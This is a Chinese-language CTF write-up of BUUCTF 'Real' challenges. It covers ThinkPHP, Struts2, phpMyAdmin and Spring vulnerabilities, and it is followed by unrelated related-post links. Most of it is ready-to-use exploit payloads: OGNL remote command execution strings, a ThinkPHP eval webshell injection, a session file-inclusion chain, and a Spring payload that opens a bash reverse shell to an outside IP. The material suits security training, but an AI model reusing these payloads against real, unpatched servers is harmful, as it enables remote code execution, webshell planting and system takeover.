声明:此文仅供学习记录研究使用,切勿用于非法用途,否则后果自负!

1、[ThinkPHP]5.0.23-Rce

发起一个请求,抓包:

将其修改为POST请求:

然后放进repeater,加入payload:(加入payload的时候不能照搬别人的POC,自己的请求是什么样就什么样,照搬别人的POC基本会导致失败)

写入了一个显示phpinfo的文件,实际操作中可以写入一句话拿shell。

然后访问这个php:

拿到flag:

2、[ThinkPHP]2-RCE

访问http://node3.buuoj.cn:26287/index.php?s=/index/index/name/$%7B@phpinfo()%7D‘

就可以看到phpinfo,flag就在里面:

通过该POC执行system():

http://node3.buuoj.cn:28868/index.php?s=/index/index/name/${@system(whoami)}

效果如下:

直接菜刀能够通过这个poc写入一句话:

http://node3.buuoj.cn:28868/index.php?s=/index/index/name/${@print%28eval%28$_POST[1]%29%29}:

3、[Struts2]s2-013

漏洞影响的struts2版本:2.0.0 - 2.3.14.1

POC:http://node3.buuoj.cn:26574/link.action?a=%24%7B%23_memberAccess%5B%22allowStaticMethodAccess%22%5D%3Dtrue%2C%23a%3D%40java.lang.Runtime%40getRuntime().exec(%27在这里执行任意命令!!!!!%27).getInputStream()%2C%23b%3Dnew%20java.io.InputStreamReader(%23a)%2C%23c%3Dnew%20java.io.BufferedReader(%23b)%2C%23d%3Dnew%20char%5B50000%5D%2C%23c.read(%23d)%2C%23out%3D%40org.apache.struts2.ServletActionContext%40getResponse().getWriter()%2C%23out.println(%27dbapp%3D%27%2Bnew%20java.lang.String(%23d))%2C%23out.close()%7D

把POC中的中文换成env获取环境变量即可拿到flag,效果:

此处只刷flag,不讨论原理。

4、[PHPMYADMIN]CVE-2018-12613

漏洞影响的phpmyadmin版本:<=4.8.1

这个漏洞要利用需要有一个比较苛刻的前提:能够访问phpmyadmin,也就是说得拿到phpmyadmin的权限才可以。

POC:http://node3.buuoj.cn:26583/index.php?target=db_sql.php%253f/../../../../../../../../tmp/sess_efeb2d048efaf9aa43cd3f787d241f77

利用:

打开浏览器的控制台,然后在phpmyadmin的控制台那里执行一个一句话:

查看我们的session:

然后利用上述POC包含服务器上的session文件,目标服务器的debian系统下的session存放在tmp/sess_这里填上面看到的sessionid:

生成一个poc:

http://node3.buuoj.cn:26583/index.php?target=db_sql.php%253f/../../../../../../../../tmp/sess_4da786c79daf35c5e187e775c9cb3262

用菜刀连接之,但在这里不知道为什么我的一句话没有执行成功,换了蚁剑和cknife都失败了,没办法只好传了一个大马的代码上去,通过文件包含访问这个大马成功。大马的截图就不放出来了。

实际上如果只是要flag的话包含一个<?php phpinfo()?>就行:

5、[struts2]s2-045

漏洞影响的struts2版本:Struts 2.3.5 - Struts 2.3.31, Struts 2.5 - Struts 2.5.10

这是一个很经典的漏洞,Java作为我的老本行,有必要对这个漏洞深入研究一番,先附脚本小子使用工具简单粗暴的做法:

然后对该漏洞深入研究一波

5.1 OGNL表达式

6、[struts2]s2-001

漏洞影响:WebWork 2.1 (with altSyntax enabled), WebWork 2.2.0 - WebWork 2.2.5, Struts 2.0.0 - Struts 2.0.8

原理:该漏洞因为用户提交表单数据并且验证失败时,后端会将用户之前提交的参数值使用 OGNL 表达式 %{value} 进行解析,然后重新填充到对应的表单数据中。例如注册或登录页面,提交失败后端一般会默认返回之前提交的数据,由于后端使用 %{value} 对提交的数据执行了一次 OGNL 表达式解析,所以可以直接构造 Payload 进行命令执行

POC:%{#a=(new java.lang.ProcessBuilder(new java.lang.String[]{"在这里执行任意命令"})).redirectErrorStream(true).start(),#b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),#e=new char[50000],#d.read(#e),#f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),#f.getWriter().println(new java.lang.String(#e)),#f.getWriter().flush(),#f.getWriter().close()}

拿flag POC:%{#a=(new java.lang.ProcessBuilder(new java.lang.String[]{"env"})).redirectErrorStream(true).start(),#b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),#e=new char[50000],#d.read(#e),#f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),#f.getWriter().println(new java.lang.String(#e)),#f.getWriter().flush(),#f.getWriter().close()}

查看pwd:

%{#a=(new java.lang.ProcessBuilder(new java.lang.String[]{"cat","/pwd"})).redirectErrorStream(true).start(),#b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),#e=new char[50000],#d.read(#e),#f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),#f.getWriter().println(new java.lang.String(#e)),#f.getWriter().flush(),#f.getWriter().close()}

上述POC在表单里任意一个输入框输入即可。

7、[struts2]s2-012

影响版本: 2.1.0 - 2.3.13

原理:如果在配置 Action 中 Result 时使用了重定向类型,并且还使用 ${param_name} 作为重定向变量,那么当触发重定向类型返回时,Struts2 获取使用 ${name} 获取其值,在这个过程中会对 name 参数的值执行 OGNL 表达式解析,从而可以插入任意 OGNL 表达式导致命令执行。

POC同第六的s2-001:

%{#a=(new java.lang.ProcessBuilder(new java.lang.String[]{"env"})).redirectErrorStream(true).start(),#b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),#e=new char[50000],#d.read(#e),#f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),#f.getWriter().println(new java.lang.String(#e)),#f.getWriter().flush(),#f.getWriter().close()}

8、[struts2]s2-007

影响版本: Struts2 2.0.0 - Struts2 2.2.3

POC:'+ (#_memberAccess["allowStaticMethodAccess"]=true,#foo=new java.lang.Boolean("false") ,#context["xwork.MethodAccessor.denyMethodExecution"]=#foo,@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec('env').getInputStream())) + '

在age输入框里输入。

9、[struts2]s2-005

因为vulhub里面没有带回显的POC,直接使用工具:

10、[struts2]s2-015

上工具:

由于工具的S2-015不可用,用S2-016执行env命令。

11、[struts2]s2-009

同上,工具的S2-009无效,用S2-008跑出来了:

实际上不用工具也能跑出来,POC:

http://node3.buuoj.cn:28889/ajax/example5.action?age=12313&name=(%23context[%22xwork.MethodAccessor.denyMethodExecution%22]=+new+java.lang.Boolean(false),+%23_memberAccess[%22allowStaticMethodAccess%22]=true,+%23a=@java.lang.Runtime@getRuntime().exec(%22此处执行任意命令%22).getInputStream(),%23b=new+java.io.InputStreamReader(%23a),%23c=new+java.io.BufferedReader(%23b),%23d=new+char[51020],%23c.read(%23d),%23kxlzx=@org.apache.struts2.ServletActionContext@getResponse().getWriter(),%23kxlzx.println(%23d),%23kxlzx.close())(meh)&z[(name)(%27meh%27)]

12、[struts2]s2-052

详细分析见BUUCTF之Real部分WP([struts2]s2-052)

13、[struts2]s2-016

上工具:

14、[struts2]s2-046

上工具:

15、[Spring]CVE-2017-4971

这题也很是愚蠢了,虽然照着vulhub做法做出来了,但完全不知道在实际渗透中怎么寻找其漏洞所在url。。。。。。。

在确认酒店信息的时候抓包,抓到的包如下:

先在vps里面监听21端口,其他端口应该也行。

然后在抓到的包里面添加POC:_(new+java.lang.ProcessBuilder("bash","-c","bash+-i+>%26+/dev/tcp/116.85.14.214/21+0>%261")).start()=vulhub

除了IP改成自己的vps的IP,端口看情况改之外其他什么都不要改。

拿到flag:

BUUCTF笔记之Real部分WP(一)相关推荐

  1. BUUCTF笔记之Web系列部分WriteUp(五)

    1.[GWCTF 2019]枯燥的抽奖 查看源码得到check.php,访问得到代码: <?php #这不是抽奖程序的源代码!不许看! header("Content-Type: te ...

  2. BUUCTF·[MRCTF2020]天干地支+甲子·WP

    题目来源 BUUCTF在线评测 (buuoj.cn) 附件 得到得字符串用MRCTF{}包裹 一天Eki收到了一封来自Sndav的信,但是他有点迷希望您来解决一下 甲戌 甲寅 甲寅 癸卯 己酉 甲寅 ...

  3. BUUCTF笔记之Misc系列部分WriteUp(二)

    1.爱因斯坦 binwalk分离出一个压缩包. 查看图片备注: 解压得到flag. 2.easycap 追踪TCP流: 3.另外一个世界 binwalk和steg一无所获,图片备注也看了没有收获,wi ...

  4. CISP-PTE学习笔记综合考试题复现WP

    文章目录 综合考试题(一)梅奥诊所系统 问题 解题WP 1.获取后台 2.获取shell 3.提权查看文件 摘抄 综合考试题(一)梅奥诊所系统 问题 问题1:请访问192.168.0.110,登录网站 ...

  5. BUUCTF笔记之Web系列部分WriteUp(三)

    声明:此文仅供学习记录研究使用,切勿用于非法用途,否则后果自负! 1.[CISCN2019 华北赛区 Day2 Web1]Hack World 最近多做做sql注入,感觉自己在这一块还是很菜,进去就给 ...

  6. BUUCTF笔记之N1BOOK

    1.[第一章 web入门]常见的搜集 robots.txt得到一部分flag: flag1:n1book{info_1 备份文件index.php~得到第二部分flag: flag2:s_v3ry_i ...

  7. BUUCTF笔记之Web系列部分WriteUp(四)

    1.[BJDCTF2020]Mark loves cat dirb扫描目录发现.git泄露. githack获取源码 <?php$flag = file_get_contents('/flag' ...

  8. BUUCTF wp-异性相吸

    BUUCTF异性相吸 看wp,用到的是异或知识 题目给了 利用010打开后转换为二进制代码,然后用二进制异或脚本.py 得到下图,再点击hex即可复制flag 在010 editor中要复制二进制数值 ...

  9. 转载自wu496963386 cuda11.1 tensorflow1.15.4进行训练,亲测有效

    RTX3080+Ubuntu18.04+cuda11.1+cudnn8.0.4+TensorFlow1.15.4+PyTorch1.7.0环境配置 wxs1129 2020-11-09 18:41:0 ...

最新文章

  1. 芝麻HTTP:Scrapy-Splash的安装
  2. Vue笔记(五)——Token生命周期
  3. devi into python 笔记(一)字典 列表的简单操作
  4. if 组件是否存在_UE4 UMG简介+Slate组件问题排查
  5. 公司不能把笔记导出去真操蛋
  6. 科研 | 如何找到研究的突破点?
  7. Cesium 模拟下雪
  8. matlab幂指数函数图像,matlab画指数函数曲线
  9. 74LS138译码器实现2位二进制乘法器-QuartusII 软件仿真
  10. SGMII和RGMII入门学习
  11. 日立电梯举办2018“新思维 新动能”创新分享汇
  12. Windows 驱动开发 新手入门(一)
  13. JQuery中$(document)、$(document).ready()是什么意思?
  14. Linux命令之shred命令
  15. Simulation of Wrinkled Surfaces Revisited
  16. LyX使用小记之二 图像
  17. [OpenCV] CV_32F与CV_8U之间的数据类型转换
  18. linux如何让命令是中文,linux centos 让man命令帮助显示简体中文
  19. SQL查询优化——表分区
  20. 转载:2008年不可错过的25部新剧

热门文章

  1. vscode国内下载
  2. 全景拍摄—地面拍摄教程
  3. C语言实现可写入文件的账号密码登录系统,密码输入时掩盖,登录界面菜单选择,更改密码系统,课设必备。
  4. .netframewor金山卫士推送微软8月补丁 IE所有版本存在高危漏洞
  5. 28.EOS的共识机制与区块生成
  6. 4.10 单元格内容的隐藏和保护 [原创Excel教程]
  7. MATLAB中内置的BP神经网络函数 help newff翻译【学习笔记】
  8. 项目管理计算:EV、PV、AC、BAC、CV、SV、EAC、ETC、CPI、SPI各是什么意思
  9. 数字藏品叠加元宇宙热潮,数字艺术会迎来怎样的发展
  10. 介绍一种Android 平台 不需要获取imei imsi 无权限就能获取手机运营商的方法